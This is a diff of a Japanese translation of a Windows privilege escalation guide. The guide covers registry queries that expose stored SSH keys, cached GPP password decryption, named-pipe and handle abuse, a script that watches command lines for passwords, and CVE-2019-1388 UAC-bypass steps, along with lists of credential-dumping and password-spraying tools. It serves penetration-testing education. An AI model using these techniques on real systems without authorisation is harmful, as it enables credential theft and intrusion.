reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
そのパス内にエントリが見つかった場合、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
|
||||
この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
この技術に関する詳細情報はここにあります: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
`ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
|
||||
```bash
|
||||
@ -976,11 +989,11 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
以前は、グループポリシープリファレンス(GPP)を介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
|
||||
以前は、グループポリシープリファレンス(GPP)を介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させる可能性があるため、深刻なリスクをもたらしました。
|
||||
|
||||
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
|
||||
|
||||
これらのファイルを探すには、`C:\ProgramData\Microsoft\Group Policy\history`または_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(W Vista以前)_を参照してください:
|
||||
`C:\ProgramData\Microsoft\Group Policy\history` または _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(W Vista以前)_ でこれらのファイルを探します:
|
||||
|
||||
- Groups.xml
|
||||
- Services.xml
|
||||
@ -1166,7 +1179,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### **COM DLLの上書き**
|
||||
|
||||
**コンポーネントオブジェクトモデル (COM)** は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって識別され、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。
|
||||
**コンポーネントオブジェクトモデル (COM)** は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって**識別され**、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。
|
||||
|
||||
COMクラスとインターフェースは、それぞれ**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**および**HKEY\_**_**CLASSES\_**_**ROOT\Interface**のレジストリに定義されています。このレジストリは、**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**をマージすることによって作成されます。
|
||||
|
||||
@ -1218,8 +1231,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
想像してみてください、**SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低い権限で新しいプロセスを作成し、メインプロセスのすべてのオープンハンドルを継承する** (`CreateProcess()`) **場合**。\
|
||||
その後、**低い権限のプロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**することができます。\
|
||||
想像してみてください、**SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低い権限で新しいプロセスを作成し** (`CreateProcess()`) **メインプロセスのすべてのオープンハンドルを継承します**。\
|
||||
その後、**低い権限のプロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\
|
||||
[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\
|
||||
[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
|
||||
|
||||
@ -1227,17 +1240,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
共有メモリセグメント、いわゆる**パイプ**は、プロセス間の通信とデータ転送を可能にします。
|
||||
|
||||
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してデータを共有することを可能にします。これは、**named pipe server**と**named pipe client**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
|
||||
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを越えてデータを共有できます。これはクライアント/サーバーアーキテクチャに似ており、役割は**named pipe server**と**named pipe client**として定義されます。
|
||||
|
||||
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は、必要な**SeImpersonate**権限を持っている場合、**クライアントのアイデンティティを引き受ける**ことができます。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い権限を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)と[**こちら**](#from-high-integrity-to-system)で見つけることができます。
|
||||
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い権限を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)と[**こちら**](#from-high-integrity-to-system)で見つけることができます。
|
||||
|
||||
また、次のツールは、**burpのようなツールでnamed pipe通信を傍受することを可能にします**:[**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **このツールは、特権昇格を見つけるためにすべてのパイプをリストし、表示することを可能にします** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
また、次のツールは**burpのようなツールでnamed pipe通信を傍受することを可能にします**:[**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **このツールは、特権昇格を見つけるためにすべてのパイプをリストし、表示することを可能にします** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
### **パスワードのためのコマンドラインの監視**
|
||||
|
||||
ユーザーとしてシェルを取得する際、**コマンドラインで資格情報を渡す**スケジュールされたタスクや他のプロセスが実行されている可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いを出力します。
|
||||
ユーザーとしてシェルを取得すると、**コマンドラインで資格情報を渡す**スケジュールされたタスクや他のプロセスが実行されている可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いを出力します。
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1249,11 +1262,11 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
```
|
||||
## パスワードをプロセスから盗む
|
||||
|
||||
## 低権限ユーザーからNT\AUTHORITY SYSTEM (CVE-2019-1388) / UACバイパスへ
|
||||
## 低権限ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC バイパス
|
||||
|
||||
グラフィカルインターフェース(コンソールまたはRDP経由)にアクセスでき、UACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
|
||||
グラフィカルインターフェース(コンソールまたは RDP 経由)にアクセスでき、UAC が有効になっている場合、Microsoft Windows の一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
|
||||
|
||||
これにより、特権を昇格させ、同時に同じ脆弱性でUACをバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。
|
||||
これにより、特権を昇格させ、同時に同じ脆弱性で UAC をバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。
|
||||
|
||||
影響を受けるシステムの一部は以下の通りです:
|
||||
```
|
||||
@ -1277,7 +1290,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
||||
Windows 10 1703 15063 link NOT opened
|
||||
Windows 10 1709 16299 link NOT opened
|
||||
```
|
||||
この脆弱性を悪用するには、次の手順を実行する必要があります:
|
||||
この脆弱性を悪用するには、次のステップを実行する必要があります:
|
||||
```
|
||||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||||
|
||||
@ -1317,7 +1330,7 @@ integrity-levels.md
|
||||
|
||||
### **新しいサービス**
|
||||
|
||||
すでに高い整合性プロセスで実行している場合、**SYSTEMへのパス**は**新しいサービスを作成して実行する**だけで簡単に行えます:
|
||||
すでに高い整合性プロセスで実行している場合、**SYSTEMにパスする**のは、**新しいサービスを作成して実行する**だけで簡単です:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1339,14 +1352,14 @@ High Integrity プロセスから、**AlwaysInstallElevated レジストリエ
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
この技術は、meterpreter が `getsystem` で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
|
||||
この技術は、meterpreter が `getsystem` で昇格するために使用します。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
|
||||
名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](#named-pipe-client-impersonation)。\
|
||||
High Integrity から SYSTEM へ名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
**SYSTEM** として実行されている**プロセス**によって**読み込まれている dll をハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijacking はこの種の権限昇格にも役立ち、さらに、High Integrity プロセスからは**はるかに簡単に達成できます**。なぜなら、dll を読み込むために使用されるフォルダーに**書き込み権限**を持っているからです。\
|
||||
**Dll hijacking について[**こちらで詳しく学ぶことができます**](dll-hijacking/index.html)**。**
|
||||
**SYSTEM** として実行されている**プロセス**によって**ロードされる dll をハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijacking はこの種の権限昇格にも役立ち、さらに、**High Integrity プロセスからはるかに達成しやすい**です。なぜなら、dll をロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\
|
||||
**Dll hijacking についてもっと学ぶことができます** [**こちら**](dll-hijacking/index.html)**。**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
@ -1369,25 +1382,25 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 設定ミスや機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の設定ミスをチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 設定ミスをチェックします**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出されました。**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ADIDNS/LLMNR/mDNS/NBNS スプーファーおよび中間者攻撃ツールです。**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ADIDNS/LLMNR/mDNS/NBNS スプーフィングおよび中間者攻撃ツールです。**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な privesc Windows 列挙**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します(Watson のために非推奨)\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します(非推奨)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)**
|
||||
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の privesc 脆弱性を検索します(VisualStudio を使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(privesc よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHub に事前コンパイルされた exe)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 設定ミスを探すためにホストを列挙します(privesc よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHub に事前コンパイル済み exe)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# へのポート**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHub に事前コンパイルされた実行可能ファイル)。推奨されません。Win10 ではうまく動作しません。\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Python からの exe)。推奨されません。Win10 ではうまく動作しません。
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 設定ミスをチェックします(GitHub に事前コンパイル済みの実行可能ファイル)。推奨されません。Win10 ではうまく機能しません。\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な設定ミスをチェックします(Python からの exe)。推奨されません。Win10 ではうまく機能しません。
|
||||
|
||||
**Bat**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user